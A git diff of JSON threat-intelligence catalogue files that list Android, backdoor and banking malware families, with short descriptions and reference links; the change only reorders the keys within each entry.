"description": "Twikabot is a Trojan horse for Android devices that attempts to steal information. ",
"meta": {
"refs": [
"https://www.symantec.com/security_response/writeup.jsp?docid=2012-062614-5813-99"
]
},
- "uuid": "301a279e-ea93-4857-b994-b846712b6fac"
+ "uuid": "301a279e-ea93-4857-b994-b846712b6fac",
+ "value": "Twikabot"
},
{
- "value": "Uapush",
"description": "Uapush is a Trojan horse for Android devices that steals information from the compromised device. It may also display advertisements and send SMS messages from the compromised device. ",
"meta": {
"refs": [
"https://www.symantec.com/security_response/writeup.jsp?docid=2013-040114-2910-99"
]
},
- "uuid": "c7c3547b-513c-4f65-b896-77bcf2bbf3a9"
+ "uuid": "c7c3547b-513c-4f65-b896-77bcf2bbf3a9",
+ "value": "Uapush"
},
{
- "value": "Umeng",
"description": "Umeng is an advertisement library that is bundled with certain Android applications.",
"meta": {
"refs": [
"https://www.symantec.com/security_response/writeup.jsp?docid=2014-040307-5749-99"
]
},
- "uuid": "bc21922b-50a2-49a2-8828-c032b75dd4d1"
+ "uuid": "bc21922b-50a2-49a2-8828-c032b75dd4d1",
+ "value": "Umeng"
},
{
- "value": "Updtbot",
"description": "Updtbot is a Trojan horse for Android devices that may arrive through SMS messages. It may then open a back door on the compromised device. ",
"meta": {
"refs": [
"https://www.symantec.com/security_response/writeup.jsp?docid=2012-041611-4136-99"
]
},
- "uuid": "572c7fc4-081b-4e13-a1c2-5c1b7c7288bf"
+ "uuid": "572c7fc4-081b-4e13-a1c2-5c1b7c7288bf",
+ "value": "Updtbot"
},
{
- "value": "Upush",
"description": "Upush is an advertisement library that is bundled with certain Android applications.",
"meta": {
"refs": [
"https://www.symantec.com/security_response/writeup.jsp?docid=2014-040207-0733-99"
]
},
- "uuid": "6d386a6c-0cd2-47f9-891d-435e135bf005"
+ "uuid": "6d386a6c-0cd2-47f9-891d-435e135bf005",
+ "value": "Upush"
},
{
- "value": "Uracto",
"description": "Uracto is a Trojan horse for Android devices that steals personal information and sends spam SMS messages to contacts found on the compromised device. ",
"meta": {
"refs": [
"https://www.symantec.com/security_response/writeup.jsp?docid=2013-031805-2722-99"
]
},
- "uuid": "d94c59b1-165b-4f8c-ba96-16209a99bbd0"
+ "uuid": "d94c59b1-165b-4f8c-ba96-16209a99bbd0",
+ "value": "Uracto"
},
{
- "value": "Uranico",
"description": "Uranico is a Trojan horse for Android devices that steals information from the compromised device. ",
"meta": {
"refs": [
"https://www.symantec.com/security_response/writeup.jsp?docid=2012-052803-3835-99"
]
},
- "uuid": "6d50487d-ac9a-4369-9520-471b2c9d2413"
+ "uuid": "6d50487d-ac9a-4369-9520-471b2c9d2413",
+ "value": "Uranico"
},
{
- "value": "Usbcleaver",
"description": "Usbcleaver is a Trojan horse for Android devices that steals information from the compromised device. ",
"meta": {
"refs": [
"https://www.symantec.com/security_response/writeup.jsp?docid=2013-062010-1818-99"
]
},
- "uuid": "5110098d-d07d-4e85-bde5-2b2dcd844317"
+ "uuid": "5110098d-d07d-4e85-bde5-2b2dcd844317",
+ "value": "Usbcleaver"
},
{
- "value": "Utchi",
"description": "Utchi is an advertisement library that is bundled with certain Android applications.",
"meta": {
"refs": [
"https://www.symantec.com/security_response/writeup.jsp?docid=2014-040107-2536-99"
]
},
- "uuid": "45633e6c-482b-40d8-aab6-5702ebfd1a25"
+ "uuid": "45633e6c-482b-40d8-aab6-5702ebfd1a25",
+ "value": "Utchi"
},
{
- "value": "Uten",
"description": "Uten is a Trojan horse for Android devices that may send, block, and delete SMS messages on a compromised device. It may also download and install additional applications and attempt to gain root privileges. ",
"meta": {
"refs": [
"https://www.symantec.com/security_response/writeup.jsp?docid=2013-092316-4752-99"
]
},
- "uuid": "a677735e-fc30-47ea-a679-3eae567a0c50"
+ "uuid": "a677735e-fc30-47ea-a679-3eae567a0c50",
+ "value": "Uten"
},
{
- "value": "Uupay",
"description": "Uupay is a Trojan horse for Android devices that steals information from the compromised device. It may also download additional malware. ",
"meta": {
"refs": [
"https://www.symantec.com/security_response/writeup.jsp?docid=2014-061714-1550-99"
]
},
- "uuid": "0766d789-3c9b-4bad-bc2e-8bdeccdef2fa"
+ "uuid": "0766d789-3c9b-4bad-bc2e-8bdeccdef2fa",
+ "value": "Uupay"
},
{
- "value": "Uxipp",
"description": "Uxipp is a Trojan horse that attempts to send premium-rate SMS messages to predetermined numbers. ",
"meta": {
"refs": [
"https://www.symantec.com/security_response/writeup.jsp?docid=2011-060910-5804-99"
]
},
- "uuid": "da60c9f2-5429-46f6-9482-6f406e56ba07"
+ "uuid": "da60c9f2-5429-46f6-9482-6f406e56ba07",
+ "value": "Uxipp"
},
{
- "value": "Vdloader",
"description": "Vdloader is a Trojan horse for Android devices that opens a back door on the compromised device and steals confidential information. ",
"meta": {
"refs": [
"https://www.symantec.com/security_response/writeup.jsp?docid=2012-080209-1420-99"
]
},
- "uuid": "d0dbf62f-77fe-4051-a34a-67c843248357"
+ "uuid": "d0dbf62f-77fe-4051-a34a-67c843248357",
+ "value": "Vdloader"
},
{
- "value": "VDopia",
"description": "VDopia is an advertisement library that is bundled with certain Android applications.",
"meta": {
"refs": [
"https://www.symantec.com/security_response/writeup.jsp?docid=2014-052712-1559-99"
]
},
- "uuid": "17241b57-1b2f-4013-bc8b-f68e4e57e1a7"
+ "uuid": "17241b57-1b2f-4013-bc8b-f68e4e57e1a7",
+ "value": "VDopia"
},
{
- "value": "Virusshield",
"description": "Virusshield is a Trojan horse for Android devices that claims to scan apps and protect personal information, but has no real functionality. ",
"meta": {
"refs": [
"https://www.symantec.com/security_response/writeup.jsp?docid=2014-040810-5457-99"
]
},
- "uuid": "dd1185c0-6456-4231-b39b-b127c2be88c5"
+ "uuid": "dd1185c0-6456-4231-b39b-b127c2be88c5",
+ "value": "Virusshield"
},
{
- "value": "VServ",
"description": "VServ is an advertisement library that is bundled with certain Android applications.",
"meta": {
"refs": [
"https://www.symantec.com/security_response/writeup.jsp?docid=2014-052619-3117-99"
]
},
- "uuid": "e8d75cbf-aaed-4b9e-8599-36ee963f8439"
+ "uuid": "e8d75cbf-aaed-4b9e-8599-36ee963f8439",
+ "value": "VServ"
},
{
- "value": "Walkinwat",
"description": "Walkinwat is a Trojan horse that steals information from the compromised device. ",
"meta": {
"refs": [
"https://www.symantec.com/security_response/writeup.jsp?docid=2011-033008-4831-99"
]
},
- "uuid": "e2696142-5981-4055-874b-727eefda8c46"
+ "uuid": "e2696142-5981-4055-874b-727eefda8c46",
+ "value": "Walkinwat"
},
{
- "value": "Waps",
"description": "Waps is an advertisement library that is bundled with certain Android applications.",
"meta": {
"refs": [
"https://www.symantec.com/security_response/writeup.jsp?docid=2014-040406-5437-99"
]
},
- "uuid": "aa3cebc6-9083-42c4-8eae-e7662aa934a2"
+ "uuid": "aa3cebc6-9083-42c4-8eae-e7662aa934a2",
+ "value": "Waps"
},
{
- "value": "Waren",
"description": "Waren is an advertisement library that is bundled with certain Android applications.",
"meta": {
"refs": [
"https://www.symantec.com/security_response/writeup.jsp?docid=2014-032815-5501-99"
]
},
- "uuid": "164fb7dd-3fab-45fd-9d0a-4c2d61841059"
+ "uuid": "164fb7dd-3fab-45fd-9d0a-4c2d61841059",
+ "value": "Waren"
},
{
- "value": "Windseeker",
"description": "Windseeker is a Trojan horse for Android devices that steals information from the compromised device. ",
"meta": {
"refs": [
"https://www.symantec.com/security_response/writeup.jsp?docid=2014-101519-0720-99"
]
},
- "uuid": "30b09d1a-2503-4481-a939-f6227fb2ead5"
+ "uuid": "30b09d1a-2503-4481-a939-f6227fb2ead5",
+ "value": "Windseeker"
},
{
- "value": "Wiyun",
"description": "Wiyun is an advertisement library that is bundled with certain Android applications.",
"meta": {
"refs": [
"https://www.symantec.com/security_response/writeup.jsp?docid=2014-040207-5646-99"
]
},
- "uuid": "ced6bfb0-a4eb-460a-9594-185ddaaec5c6"
+ "uuid": "ced6bfb0-a4eb-460a-9594-185ddaaec5c6",
+ "value": "Wiyun"
},
{
- "value": "Wooboo",
"description": "Wooboo is an advertisement library that is bundled with certain Android applications.",
"meta": {
"refs": [
"https://www.symantec.com/security_response/writeup.jsp?docid=2014-040407-5829-99"
]
},
- "uuid": "0bd6959f-b764-431f-b75c-0cb4fe88f025"
+ "uuid": "0bd6959f-b764-431f-b75c-0cb4fe88f025",
+ "value": "Wooboo"
},
{
- "value": "Wqmobile",
"description": "Wqmobile is an advertisement library that is bundled with certain Android applications.",
"meta": {
"refs": [
"https://www.symantec.com/security_response/writeup.jsp?docid=2014-040407-4926-99"
]
},
- "uuid": "ce553391-48ef-4749-af44-ef899e710558"
+ "uuid": "ce553391-48ef-4749-af44-ef899e710558",
+ "value": "Wqmobile"
},
{
- "value": "YahooAds",
"description": "YahooAds is an advertisement library that is bundled with certain Android applications.",
"meta": {
"refs": [
"https://www.symantec.com/security_response/writeup.jsp?docid=2014-060621-3229-99"
]
},
- "uuid": "8ff80176-7fb2-41ed-8b4c-5995d4f4bc9f"
+ "uuid": "8ff80176-7fb2-41ed-8b4c-5995d4f4bc9f",
+ "value": "YahooAds"
},
{
- "value": "Yatoot",
"description": "Yatoot is a Trojan horse for Android devices that steals information from the compromised device. ",
"meta": {
"refs": [
"https://www.symantec.com/security_response/writeup.jsp?docid=2013-031408-4748-99"
]
},
- "uuid": "ac66cb33-91a0-4777-a78d-8077089a7231"
+ "uuid": "ac66cb33-91a0-4777-a78d-8077089a7231",
+ "value": "Yatoot"
},
{
- "value": "Yinhan",
"description": "Yinhan is an advertisement library that is bundled with certain Android applications.",
"meta": {
"refs": [
"https://www.symantec.com/security_response/writeup.jsp?docid=2014-040107-3350-99"
]
},
- "uuid": "956d67a6-5e5f-48bf-b1c5-bc34536b8845"
+ "uuid": "956d67a6-5e5f-48bf-b1c5-bc34536b8845",
+ "value": "Yinhan"
},
{
- "value": "Youmi",
"description": "Youmi is an advertisement library that is bundled with certain Android applications.",
"meta": {
"refs": [
"https://www.symantec.com/security_response/writeup.jsp?docid=2014-040407-4318-99"
]
},
- "uuid": "805ea1fb-c6e3-47d9-9eb5-2d4b73e63f42"
+ "uuid": "805ea1fb-c6e3-47d9-9eb5-2d4b73e63f42",
+ "value": "Youmi"
},
{
- "value": "YuMe",
"description": "YuMe is an advertisement library that is bundled with certain Android applications.",
"meta": {
"refs": [
"https://www.symantec.com/security_response/writeup.jsp?docid=2014-060621-0322-99"
]
},
- "uuid": "e5a6a49e-92df-4e94-ac87-78d0f08c482e"
+ "uuid": "e5a6a49e-92df-4e94-ac87-78d0f08c482e",
+ "value": "YuMe"
},
{
- "value": "Zeahache",
"description": "Zeahache is a Trojan horse that elevates privileges on the compromised device. ",
"meta": {
"refs": [
"https://www.symantec.com/security_response/writeup.jsp?docid=2011-032309-5042-99"
]
},
- "uuid": "78f04148-de99-4249-8057-ca610d6cab4e"
+ "uuid": "78f04148-de99-4249-8057-ca610d6cab4e",
+ "value": "Zeahache"
},
{
- "value": "ZertSecurity",
"description": "ZertSecurity is a Trojan horse for Android devices that steals information and sends it to a remote attacker. ",
"meta": {
"refs": [
"https://www.symantec.com/security_response/writeup.jsp?docid=2013-050820-4100-99"
]
},
- "uuid": "3f77d88c-b3a6-4cc8-bc09-40dca0f942c5"
+ "uuid": "3f77d88c-b3a6-4cc8-bc09-40dca0f942c5",
+ "value": "ZertSecurity"
},
{
- "value": "ZestAdz",
"description": "ZestAdz is an advertisement library that is bundled with certain Android applications.",
"meta": {
"refs": [
"https://www.symantec.com/security_response/writeup.jsp?docid=2014-052616-3821-99"
]
},
- "uuid": "94572b76-b677-40da-8e92-db29ea1f0307"
+ "uuid": "94572b76-b677-40da-8e92-db29ea1f0307",
+ "value": "ZestAdz"
},
{
- "value": "Zeusmitmo",
"description": "Zeusmitmo is a Trojan horse for Android devices that opens a back door and steals information from the compromised device.",
"meta": {
"refs": [
"https://www.symantec.com/security_response/writeup.jsp?docid=2012-080818-0448-99"
]
},
- "uuid": "1bce8b50-16e8-4548-94c9-f82bdbc91053"
+ "uuid": "1bce8b50-16e8-4548-94c9-f82bdbc91053",
+ "value": "Zeusmitmo"
},
{
- "value": "SLocker",
"description": "The SLocker family is one of the oldest mobile lock screen and file-encrypting ransomware and used to impersonate law enforcement agencies to convince victims to pay their ransom.",
"meta": {
"refs": [
@@ -4165,30 +4172,30 @@
"SMSLocker"
]
},
- "uuid": "e8bb68f2-d8ca-4576-b47b-8123aef6324b"
+ "uuid": "e8bb68f2-d8ca-4576-b47b-8123aef6324b",
+ "value": "SLocker"
},
{
- "value": "Loapi",
"description": "A malware strain known as Loapi will damage phones if users don't remove it from their devices. Left to its own means, this modular threat will download a Monero cryptocurrency miner that will overheat and overwork the phone's components, which will make the battery bulge, deform the phone's cover, or even worse. Discovered by Kaspersky Labs, researchers say Loapi appears to have evolved from Podec, a malware strain spotted in 2015.",
"meta": {
"refs": [
"https://www.bleepingcomputer.com/news/security/android-malware-will-destroy-your-phone-no-ifs-and-buts-about-it/"
]
},
- "uuid": "2620f8ce-a4a6-4ea2-a281-7f476ff114ed"
+ "uuid": "2620f8ce-a4a6-4ea2-a281-7f476ff114ed",
+ "value": "Loapi"
},
{
- "value": "Podec",
"description": "Late last year, we encountered an SMS Trojan called Trojan-SMS.AndroidOS.Podec which used a very powerful legitimate system to protect itself against analysis and detection. After we removed the protection, we saw a small SMS Trojan with most of its malicious payload still in development. Before long, though, we intercepted a fully-fledged version of Trojan-SMS.AndroidOS.Podec in early 2015.\nThe updated version proved to be remarkable: it can send messages to premium-rate numbers employing tools that bypass the Advice of Charge system (which notifies users about the price of a service and requires authorization before making the payment). It can also subscribe users to premium-rate services while bypassing CAPTCHA. This is the first time Kaspersky Lab has encountered this kind of capability in any Android-Trojan.",
"meta": {
"refs": [
"https://securelist.com/sms-trojan-bypasses-captcha/69169//"
]
},
- "uuid": "e3cd1cf3-2f49-4adc-977f-d15a2b0b4c85"
+ "uuid": "e3cd1cf3-2f49-4adc-977f-d15a2b0b4c85",
+ "value": "Podec"
},
{
- "value": "Chamois",
"description": "Chamois is one of the largest PHA families in Android to date and is distributed through multiple channels. While much of the backdoor version of this family was cleaned up in 2016, a new variant emerged in 2017. To avoid detection, this version employs a number of techniques, such as implementing custom code obfuscation, preventing user notifications, and not appearing in the device’s app list. Chamois apps, which in many cases come preloaded with the system image, try to trick users into clicking ads by displaying deceptive graphics to commit WAP or SMS fraud.",
"meta": {
"refs": [
@@ -4196,10 +4203,10 @@
"https://android-developers.googleblog.com/2017/03/detecting-and-eliminating-chamois-fraud.html"
]
},
- "uuid": "a53e93e6-2d17-11e8-a718-0bb6e34b87d0"
+ "uuid": "a53e93e6-2d17-11e8-a718-0bb6e34b87d0",
+ "value": "Chamois"
},
{
- "value": "IcicleGum",
"description": "IcicleGum is a spyware PHA family whose apps rely on versions of the Igexin ads SDK that offer dynamic code-loading support. IcicleGum apps use this library's code-loading features to fetch encrypted DEX files over HTTP from command-and-control servers. The files are then decrypted and loaded via class reflection to read and send phone call logs and other data to remote locations.",
"meta": {
"refs": [
@@ -4207,20 +4214,20 @@
"https://source.android.com/security/reports/Google_Android_Security_2017_Report_Final.pdf"
]
},
- "uuid": "a5be6094-2d17-11e8-a5b1-ff153ed7d9c3"
+ "uuid": "a5be6094-2d17-11e8-a5b1-ff153ed7d9c3",
+ "value": "IcicleGum"
},
{
- "value": "BreadSMS",
"description": "BreadSMS is a large SMS-fraud PHA family that we started tracking at the beginning of 2017. These apps compose and send text messages to premium numbers without the user’s consent. In some cases, BreadSMS apps also implement subscription-based SMS fraud and silently enroll users in services provided by their mobile carriers. These apps are linked to a group of command-and-control servers whose IP addresses change frequently and that are used to provide the apps with premium SMS numbers and message text.",
"meta": {
"refs": [
"https://source.android.com/security/reports/Google_Android_Security_2017_Report_Final.pdf"
]
},
- "uuid": "2c75b006-2d18-11e8-8f57-2714f7737ec5 "
+ "uuid": "2c75b006-2d18-11e8-8f57-2714f7737ec5 ",
+ "value": "BreadSMS"
},
{
- "value": "JamSkunk",
"description": "JamSkunk is a toll-fraud PHA family composed of apps that subscribe users to services without their consent. These apps disable Wi-Fi to force traffic to go through users' mobile data connection and then contact command-and-control servers to dynamically fetch code that tries to bypass the network’s WAP service subscription verification steps. This type of PHA monetizes their abuse via WAP billing, a payment method that works through mobile data connections and allows users to easily sign up and pay for new services using their existing account (i.e., services are billed directly by the carrier, and not the service provider; the user does not need a new account or a different form of payment). Once authentication is bypassed, JamSkunk apps enroll the device in services that the user may not notice until they receive and read their next bill.",
"meta": {
"refs": [
@@ -4228,10 +4235,10 @@
"https://source.android.com/security/reports/Google_Android_Security_2017_Report_Final.pdf"
]
},
- "uuid": "1b5ff93c-2d1a-11e8-8559-07216a0f4416"
+ "uuid": "1b5ff93c-2d1a-11e8-8559-07216a0f4416",
+ "value": "JamSkunk"
},
{
- "value": "Expensive Wall",
"description": "Expensive Wall is a family of SMS-fraud apps that affected a large number of devices in 2017. Expensive Wall apps use code obfuscation to slow down analysis and evade detection, and rely on the JS2Java bridge to allow JavaScript code loaded inside a Webview to call Java methods the way Java apps directly do. Upon launch, Expensive Wall apps connect to command-and-control servers to fetch a domain name. This domain is then contacted via a Webview instance that loads a webpage and executes JavaScript code that calls Java methods to compose and send premium SMS messages or click ads without users' knowledge.",
"meta": {
"refs": [
@@ -4239,86 +4246,79 @@
"https://blog.checkpoint.com/2017/09/14/expensivewall-dangerous-packed-malware-google-play-will-hit-wallet/"
]
},
- "uuid": "1c105534-2d1a-11e8-af59-f3a9d10da2ae"
+ "uuid": "1c105534-2d1a-11e8-af59-f3a9d10da2ae",
+ "value": "Expensive Wall"
},
{
- "value": "BambaPurple",
"description": "BambaPurple is a two-stage toll-fraud PHA family that tries to trick users into installing it by disguising itself as a popular app. After install, the app disables Wi-Fi to force the device to use its 3G connection, then redirects to subscription pages without the user’s knowledge, clicks subscription buttons using downloaded JavaScript, and intercepts incoming subscription SMS messages to prevent the user from unsubscribing. In a second stage, BambaPurple installs a backdoor app that requests device admin privileges and drops a .dex file. This executable checks to make sure it is not being debugged, downloads even more apps without user consent, and displays ads.",
"meta": {
"refs": [
"https://source.android.com/security/reports/Google_Android_Security_2017_Report_Final.pdf"
]
},
- "uuid": "1c90db8c-2d1a-11e8-8855-8b52c54dc70c"
+ "uuid": "1c90db8c-2d1a-11e8-8855-8b52c54dc70c",
+ "value": "BambaPurple"
},
{
- "value": "KoreFrog",
"description": "KoreFrog is a family of trojan apps that request permission to install packages and push other apps onto the device as system apps without the user’s authorization. System apps can be disabled by the user, but cannot be easily uninstalled. KoreFrog apps operate as daemons running in the background that try to impersonate Google and other system apps by using misleading names and icons to avoid detection. The KoreFrog PHA family has also been observed to serve ads, in addition to apps.",
"meta": {
"refs": [
"https://source.android.com/security/reports/Google_Android_Security_2017_Report_Final.pdf"
]
},
- "uuid": "1cd12f7a-2d1a-11e8-9d61-5f382712fa0a"
+ "uuid": "1cd12f7a-2d1a-11e8-9d61-5f382712fa0a",
+ "value": "KoreFrog"
},
{
- "value": "Gaiaphish",
"description": "Gaiaphish is a large family of trojan apps that target authentication tokens stored on the device to abuse the user’s privileges for various purposes. These apps use base64-encoded URL strings to avoid detection of the command-and-control servers they rely on to download APK files. These files contain phishing apps that try to steal GAIA authentication tokens that grant the user permissions to access Google services, such as Google Play, Google+, and YouTube. With these tokens, Gaiaphish apps are able to generate spam and automatically post content (for instance, fake app ratings and comments on Google Play app pages)",
"meta": {
"refs": [
"https://source.android.com/security/reports/Google_Android_Security_2017_Report_Final.pdf"
]
},
- "uuid": "1dcd622c-2d1a-11e8-870e-9f50a5dd5a84"
+ "uuid": "1dcd622c-2d1a-11e8-870e-9f50a5dd5a84",
+ "value": "Gaiaphish"
},
{
- "value": "RedDrop",
"description": "RedDrop can perform a vast array of malicious actions, including recording nearby audio and uploading the data to cloud-storage accounts on Dropbox and Google Drive.",
"meta": {
"refs": [
"https://www.bleepingcomputer.com/news/security/new-reddrop-android-spyware-records-nearby-audio/"
]
},
- "uuid": "3178ca72-2ded-11e8-846e-eb40889b4f9f"
+ "uuid": "3178ca72-2ded-11e8-846e-eb40889b4f9f",
+ "value": "RedDrop"
},
{
- "value": "HenBox",
"description": "HenBox apps masquerade as others such as VPN apps, and Android system apps; some apps carry legitimate versions of other apps which they drop and install as a decoy technique. While some of legitimate apps HenBox uses as decoys can be found on Google Play, HenBox apps themselves are found only on third-party (non-Google Play) app stores. HenBox apps appear to primarily target the Uyghurs – a Turkic ethnic group living mainly in the Xinjiang Uyghur Autonomous Region in North West China. HenBox has ties to infrastructure used in targeted attacks, with a focus on politics in South East Asia. These attackers have used additional malware families in previous activity dating to at least 2015 that include PlugX, Zupdax, 9002, and Poison Ivy. HexBox apps target devices made by Chinese consumer electronics manufacture, Xiaomi and those running MIUI, Xiaomi’s operating system based on Google Android. Furthermore, the malicious apps register their intent to process certain events broadcast on compromised devices in order to execute malicious code. This is common practice for many Android apps, however, HenBox sets itself up to trigger based on alerts from Xiaomi smart-home IoT devices, and once activated, proceeds in stealing information from a myriad of sources, including many mainstream chat, communication and social media apps. The stolen information includes personal and device information.",
"meta": {
"refs": [
"https://researchcenter.paloaltonetworks.com/2018/04/unit42-henbox-inside-coop/"
]
},
- "uuid": "72c37e24-4ead-11e8-8f08-db3ec8f8db86§"
+ "uuid": "72c37e24-4ead-11e8-8f08-db3ec8f8db86§",
+ "value": "HenBox"
},
{
- "value": "MysteryBot",
"description": "Cybercriminals are currently developing a new strain of malware targeting Android devices which blends the features of a banking trojan, keylogger, and mobile ransomware.",
"meta": {
"refs": [
"https://www.bleepingcomputer.com/news/security/new-mysterybot-android-malware-packs-a-banking-trojan-keylogger-and-ransomware/"
]
},
- "uuid": "53e2e7e8-70a8-11e8-b0f8-33fcf651adaf"
+ "uuid": "53e2e7e8-70a8-11e8-b0f8-33fcf651adaf",
+ "value": "MysteryBot"
},
{
- "value": "Skygofree",
"description": "At the beginning of October 2017, we discovered new Android spyware with several features previously unseen in the wild. In the course of further research, we found a number of related samples that point to a long-term development process. We believe the initial versions of this malware were created at least three years ago – at the end of 2014. Since then, the implant’s functionality has been improving and remarkable new features implemented, such as the ability to record audio surroundings via the microphone when an infected device is in a specified location; the stealing of WhatsApp messages via Accessibility Services; and the ability to connect an infected device to Wi-Fi networks controlled by cybercriminals. We observed many web landing pages that mimic the sites of mobile operators and which are used to spread the Android implants. These domains have been registered by the attackers since 2015. According to our telemetry, that was the year the distribution campaign was at its most active. The activities continue: the most recently observed domain was registered on October 31, 2017. Based on our KSN statistics, there are several infected individuals, exclusively in Italy. Moreover, as we dived deeper into the investigation, we discovered several spyware tools for Windows that form an implant for exfiltrating sensitive data on a targeted machine. The version we found was built at the beginning of 2017, and at the moment we are not sure whether this implant has been used in the wild. We named the malware Skygofree, because we found the word in one of the domains.",
"meta": {
"refs": [
"https://securelist.com/skygofree-following-in-the-footsteps-of-hackingteam/83603/"
]
},
- "uuid": "3e19d162-9ee1-11e8-b8d7-d32141691f1f"
+ "uuid": "3e19d162-9ee1-11e8-b8d7-d32141691f1f",
+ "value": "Skygofree"
}
],
- "version": 10,
- "uuid": "84310ba3-fa6a-44aa-b378-b9e3271c58fa",
- "description": "Android malware galaxy based on multiple open sources.",
- "authors": [
- "Unknown"
- ],
- "source": "Open Sources",
- "type": "android",
- "name": "Android"
+ "version": 10
}
diff --git a/clusters/backdoor.json b/clusters/backdoor.json
index c0d2adb..6b4333d 100644
--- a/clusters/backdoor.json
+++ b/clusters/backdoor.json
@@ -1,24 +1,24 @@
{
- "uuid": "75436e27-cb57-4f32-bf1d-9636dd78a2bf",
+ "authors": [
+ "raw-data"
+ ],
"description": "A list of backdoor malware.",
+ "name": "Backdoor",
"source": "Open Sources",
- "version": 1,
+ "type": "backdoor",
+ "uuid": "75436e27-cb57-4f32-bf1d-9636dd78a2bf",
"values": [
{
+ "description": "Cross-platform malware written in Golang, compatible with Linux and Windows. Although there are some minor differences, both variants have the same functionality. The malware communicates with a CnC server using HTTP requests and performs functions based on the received commands. Results of command execution are sent in HTTP POST requests data (RSA-encrypted). Main functionalities are: (1) Execute arbitrary shell commands, (2) Upload/Download files. The PE variant of the infection, in addition, executes PowerShell scripts. A .Net version was also observed in the wild.",
"meta": {
"date": "July 2018.",
"refs": [
"https://blog.jpcert.or.jp/2018/07/malware-wellmes-9b78.html"
]
},
- "description": "Cross-platform malware written in Golang, compatible with Linux and Windows. Although there are some minor differences, both variants have the same functionality. The malware communicates with a CnC server using HTTP requests and performs functions based on the received commands. Results of command execution are sent in HTTP POST requests data (RSA-encrypted). Main functionalities are: (1) Execute arbitrary shell commands, (2) Upload/Download files. The PE variant of the infection, in addition, executes PowerShell scripts. A .Net version was also observed in the wild.",
- "value": "WellMess",
- "uuid": "e0e79fab-0f1d-4fc2-b424-208cb019a9cd"
+ "uuid": "e0e79fab-0f1d-4fc2-b424-208cb019a9cd",
+ "value": "WellMess"
}
],
- "authors": [
- "raw-data"
- ],
- "type": "backdoor",
- "name": "Backdoor"
+ "version": 1
}
diff --git a/clusters/banker.json b/clusters/banker.json
index 8dae821..f72ab86 100644
--- a/clusters/banker.json
+++ b/clusters/banker.json
@@ -1,10 +1,16 @@
{
- "uuid": "59f20cce-5420-4084-afd5-0884c0a83832",
+ "authors": [
+ "Unknown",
+ "raw-data"
+ ],
"description": "A list of banker malware.",
+ "name": "Banker",
"source": "Open Sources",
- "version": 11,
+ "type": "banker",
+ "uuid": "59f20cce-5420-4084-afd5-0884c0a83832",
"values": [
{
+ "description": "Zeus is a trojan horse that is primarily delivered via drive-by-downloads, malvertising, exploit kits and malspam campaigns. It uses man-in-the-browser keystroke logging and form grabbing to steal information from victims. Source was leaked in 2011.",
"meta": {
"date": "Initally discovered between 2006 and 2007. New bankers with Zeus roots still active today.",
"refs": [
@@ -14,11 +20,11 @@
"Zbot"
]
},
- "description": "Zeus is a trojan horse that is primarily delivered via drive-by-downloads, malvertising, exploit kits and malspam campaigns. It uses man-in-the-browser keystroke logging and form grabbing to steal information from victims. Source was leaked in 2011.",
- "value": "Zeus",
- "uuid": "f0ec2df5-2e38-4df3-970d-525352006f2e"
+ "uuid": "f0ec2df5-2e38-4df3-970d-525352006f2e",
+ "value": "Zeus"
},
{
+ "description": "Delivered primarily by exploit kits as well as malspam campaigns utilizing macro based Microsoft Office documents as attachments. Vawtrak/Neverquest is a modularized banking trojan designed to steal credentials through harvesting, keylogging, Man-In-The-Browser, etc.",
"meta": {
"date": "Discovered early 2013",
"refs": [
@@ -31,11 +37,11 @@
"Neverquest"
]
},
- "description": "Delivered primarily by exploit kits as well as malspam campaigns utilizing macro based Microsoft Office documents as attachments. Vawtrak/Neverquest is a modularized banking trojan designed to steal credentials through harvesting, keylogging, Man-In-The-Browser, etc.",
- "value": "Vawtrak",
- "uuid": "f3813bbd-682c-400d-8165-778be6d3f91f"
+ "uuid": "f3813bbd-682c-400d-8165-778be6d3f91f",
+ "value": "Vawtrak"
},
{
+ "description": " Dridex leverages redirection attacks designed to send victims to malicious replicas of the banking sites they think they're visiting.",
"meta": {
"date": "Discovery in 2014, still active",
"refs": [
@@ -46,11 +52,11 @@
"Feodo Version D"
]
},
- "description": " Dridex leverages redirection attacks designed to send victims to malicious replicas of the banking sites they think they're visiting.",
- "value": "Dridex",
- "uuid": "44754726-e1d5-4e5f-a113-234c4a8ca65e"
+ "uuid": "44754726-e1d5-4e5f-a113-234c4a8ca65e",
+ "value": "Dridex"
},
{
+ "description": "Banking trojan delivered primarily via email (typically malspam) and exploit kits. Gozi 1.0 source leaked in 2010",
"meta": {
"date": "First seen ~ 2007",
"refs": [
@@ -65,11 +71,11 @@
"Papras"
]
},
- "description": "Banking trojan delivered primarily via email (typically malspam) and exploit kits. Gozi 1.0 source leaked in 2010",
- "value": "Gozi",
- "uuid": "b9448d2a-a23c-4bf2-92a1-d860716ba2f3"
+ "uuid": "b9448d2a-a23c-4bf2-92a1-d860716ba2f3",
+ "value": "Gozi"
},
{
+ "description": "Banking trojan attributed to Project Blitzkrieg targeting U.S. Financial institutions.",
"meta": {
"date": "Fall Oct. 2012 - Spring 2013",
"refs": [
@@ -81,11 +87,11 @@
"Prinimalka"
]
},
- "description": "Banking trojan attributed to Project Blitzkrieg targeting U.S. Financial institutions.",
- "value": "Goziv2",
- "uuid": "71ad2c86-b9da-4351-acf9-7005f64062c7"
+ "uuid": "71ad2c86-b9da-4351-acf9-7005f64062c7",
+ "value": "Goziv2"
},
{
+ "description": "Banking trojan based on Gozi source. Features include web injects for the victims’ browsers, screenshoting, video recording, transparent redirections, etc. Source leaked ~ end of 2015.",
"meta": {
"date": "Beginning 2010",
"refs": [
@@ -95,11 +101,11 @@
"https://lokalhost.pl/gozi_tree.txt"
]
},
- "description": "Banking trojan based on Gozi source. Features include web injects for the victims’ browsers, screenshoting, video recording, transparent redirections, etc. Source leaked ~ end of 2015.",
- "value": "Gozi ISFB",
- "uuid": "ffbbbc14-1cdb-4be9-a631-ed53c5407369"
+ "uuid": "ffbbbc14-1cdb-4be9-a631-ed53c5407369",
+ "value": "Gozi ISFB"
},
{
+ "description": "Dreambot is a variant of Gozi ISFB that is spread via numerous exploit kits as well as through malspam email attachments and links.",
"meta": {
"date": "Since 2014",
"refs": [
@@ -108,11 +114,11 @@
"https://lokalhost.pl/gozi_tree.txt"
]
},
- "description": "Dreambot is a variant of Gozi ISFB that is spread via numerous exploit kits as well as through malspam email attachments and links.",
- "value": "Dreambot",
- "uuid": "549d1f8c-f76d-4d66-a1a2-2cd048d739ea"
+ "uuid": "549d1f8c-f76d-4d66-a1a2-2cd048d739ea",
+ "value": "Dreambot"
},
{
+ "description": "Gozi ISFB variant ",
"meta": {
"date": "Seen Autumn 2014",
"refs": [
@@ -120,11 +126,11 @@
